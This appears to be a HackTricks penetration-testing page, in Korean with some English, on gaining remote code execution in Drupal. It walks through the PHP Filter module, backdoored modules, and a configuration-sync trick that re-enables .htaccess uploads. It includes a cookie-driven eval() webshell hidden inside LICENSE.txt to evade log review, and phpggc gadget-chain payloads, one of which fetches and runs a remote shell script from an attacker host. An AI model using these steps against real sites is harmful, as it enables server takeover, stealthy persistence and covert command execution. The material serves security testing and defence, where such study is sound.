Drupal RCE

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

PHP Filter Module 사용

Warning

구버전의 Drupal **(version 8 이전)**에서는 관리자 계정으로 로그인하여 PHP filter 모듈을 활성화할 수 있었으며, 이 모듈은 “내장된 PHP 코드/스니펫을 평가할 수 있게 합니다.” 하지만 version 8부터 이 모듈은 기본으로 설치되어 있지 않습니다.

  1. /modules/php로 이동하고 403 에러가 반환되면 PHP filter plugin이 설치되어 있으므로 계속 진행할 수 있습니다
  2. 설치되어 있지 않다면 Modules로 가서 PHP Filter의 체크박스를 선택한 다음 Save configuration을 클릭하세요
  3. 이후 이를 악용하려면 Add content를 클릭하고 Basic Page 또는 Article을 선택한 뒤 PHP backdoor를 작성하고 텍스트 형식에서 PHP 코드를 선택한 후 Preview를 클릭하세요
  4. 트리거하려면 새로 생성된 node에 접근하면 됩니다:
curl http://drupal.local/node/3

PHP Filter 모듈 설치

Warning

현재 버전에서는 기본 설치 이후 웹 접근만으로 플러그인을 설치하는 것이 더 이상 불가능합니다.

버전 8 이상부터는 PHP Filter 모듈이 기본으로 설치되어 있지 않습니다. 이 기능을 사용하려면 모듈을 직접 설치해야 합니다.

  1. Drupal 웹사이트에서 모듈의 최신 버전을 다운로드합니다.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. 다운로드가 완료되면 Administration > Reports > Available updates 로 이동합니다.
  4. Browse 를 클릭하고, 다운로드한 디렉터리에서 파일을 선택한 후 Install 을 클릭합니다.
  5. 모듈이 설치되면 Content 를 클릭하고 Drupal 7 예제와 마찬가지로 새 기본 페이지를 생성 할 수 있습니다. 다시 한 번, Text format 드롭다운에서 PHP code 를 선택했는지 확인하세요.

백도어 모듈

Warning

현재 버전에서는 기본 설치 이후 웹 접근만으로 플러그인을 설치하는 것이 더 이상 불가능합니다.

모듈을 다운로드하고 그 안에 백도어를 추가한 뒤 설치하는 것이 가능했습니다. 예를 들어, 압축된 형태의 Trurnstile 모듈을 다운로드한 후 그 내부에 새로운 PHP 백도어 파일을 생성하고, .htaccess 파일로 해당 PHP 파일에 접근을 허용하는 방식입니다:

<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>

And then going to http://drupal.local/admin/modules/install to install the backdoored module and access /modules/turnstile/back.php to execute it.

Backdooring Drupal with Configuration synchronization

게시자 Coiffeur0x90

Part 1 (MediaMedia Library 활성화)

In the Extend 메뉴(/admin/modules)에서 이미 설치되어 있는 것으로 보이는 플러그인들을 활성화할 수 있습니다. 기본적으로 MediaMedia Library 플러그인은 활성화되어 있지 않으므로, 이를 활성화합시다.

Before activation:

After activation:

Part 2 (Configuration synchronization 기능 활용)

Configuration synchronization 기능을 이용해 Drupal 구성 항목을 덤프(export)하고 업로드(import)하겠습니다:

  • /admin/config/development/configuration/single/export
  • /admin/config/development/configuration/single/import

system.file.yml 패치

먼저 첫 항목 allow_insecure_uploads를 다음과 같이 패치하는 것으로 시작합시다:

File: system.file.yml


...

allow_insecure_uploads: false

...

대상:

File: system.file.yml


...

allow_insecure_uploads: true

...

패치 field.field.media.document.field_media_document.yml

그런 다음 두 번째 항목 file_extensions를 다음에서 패치합니다:

파일: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

대상:

파일: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

이 블로그 글에서는 사용하지 않았지만, 엔트리 file_directory 를 임의로 정의할 수 있으며 path traversal 공격에 취약하여 (Drupal 파일시스템 트리 내에서 상위 디렉터리로 이동할 수 있다) 라고 언급되어 있다.

Part 3 (기능 Add Document 활용)

마지막 단계는 가장 간단하며 두 개의 하위 단계로 나뉜다. 첫 번째는 .htaccess 형식의 파일을 업로드하여 Apache 지시문을 활용하고 .txt 파일이 PHP 엔진에 의해 해석되도록 허용하는 것이다. 두 번째는 우리의 payload를 포함한 .txt 파일을 업로드하는 것이다.

File: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

왜 이 트릭이 멋진가?

왜냐하면 Webshell(우리가 LICENSE.txt라고 부를 것)를 웹 서버에 업로드하면 $_COOKIE를 통해 명령을 전송할 수 있고, 웹 서버 로그에는 이것이 텍스트 파일에 대한 정당한 GET request로 기록되기 때문입니다.

왜 Webshell 이름을 LICENSE.txt로 짓는가?

간단히 말하면, 예를 들어 core/LICENSE.txt (이미 Drupal core에 존재함)를 보면 339줄, 17.6 KB 크기의 파일이므로 가운데에 작은 PHP 코드 스니펫을 추가하기에 완벽합니다(파일이 충분히 크기 때문에).

File: Patched LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Part 3.1 (.htaccess 파일 업로드)

먼저 Add Document (/media/add/document) 기능을 이용해 Apache 지시문(.htaccess)이 포함된 파일을 업로드합니다.

Part 3.2 (LICENSE.txt 파일 업로드)

그다음 Add Document (/media/add/document) 기능을 다시 이용해 라이선스 파일 안에 숨긴 Webshell을 업로드합니다.

Part 4 (Webshell과의 상호작용)

마지막 부분은 Webshell과 상호작용하는 것입니다.

다음 스크린샷에서 보듯이, Webshell이 기대하는 쿠키가 정의되어 있지 않으면 웹 브라우저로 파일을 조회했을 때 다음과 같은 결과가 나타납니다.

공격자가 쿠키를 설정하면 Webshell과 상호작용하여 원하는 명령을 실행할 수 있습니다.

로그를 보면 요청된 것은 단지 txt 파일로 보입니다.

이 글을 읽어주셔서 감사합니다. 이 글이 몇 개의 shells을 얻는 데 도움이 되길 바랍니다.

Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)

Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.

실전 익스플로잇 워크플로우:

  1. Find the unserialize sink (contrib module 또는 custom code). 코드베이스에서 unserialize( 또는 Drupal\Component\Serialization\PhpSerialize::decode를 grep하세요. POST/JSON이나 설정 가져오기(configuration imports)를 허용하는 엔드포인트를 노리세요.
  2. Generate a payload 취약한 클래스 경로를 사용해 gadget chain에 맞는 payload를 생성합니다. SA-CORE-2024-008 이후 공개된 체인은 일반적인 payload 생성기에 추가되었습니다. PHPGGC (commit ≥ Dec 2024) 예:
./phpggc drupal/rce2 system 'id' > payload.ser
  1. Deliver the serialized blob을 sink(예: deserialized되는 parameter)로 전달합니다. form-encoded body의 경우:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
  1. Trigger destruction (요청 종료 시 종종 자동으로 발생) 및 명령을 실행합니다.

Notes for testing:

  • Gadget은 10.2.11 / 10.3.9 / 7.102 이전(패치됨) 버전에서만 작동합니다. 대상 버전은 /core/lib/Drupal.php 또는 CHANGELOG.txt에서 확인하세요.
  • Third‑party DB drivers는 추가 hardening이 필요할 수 있습니다; 보안 업데이트 기간을 건너뛴 배포를 찾아보세요.

Recent contrib-module unsafe deserialization → RCE

Several contrib modules fixed insecure unserialize() paths in late 2024. If the site is missing these updates, they give you the exploitable sink required by the core gadget chain:

  • Mailjet (<4.0.1, CVE-2024-13296): 관리자 제어 데이터가 unserialize()로 전달되어, core gadgets와 연결될 때 PHP Object Injection → RCE를 가능하게 합니다.
  • Eloqua (7.x-1.x < 1.15, CVE-2024-13297): access administration pages 권한을 가진 사용자가 접근할 수 있는 유사한 unsafe unserialize() 사용이 존재합니다.

Testing idea (authenticated):

phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import

모듈이 업로드된 데이터를 역직렬화하면 gadget chain은 RCE를 발생시킨다. XSS/CSRF와 결합해 관리자 쿠키를 탈취하면 전체 공격 체인이 완성된다.

참조

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기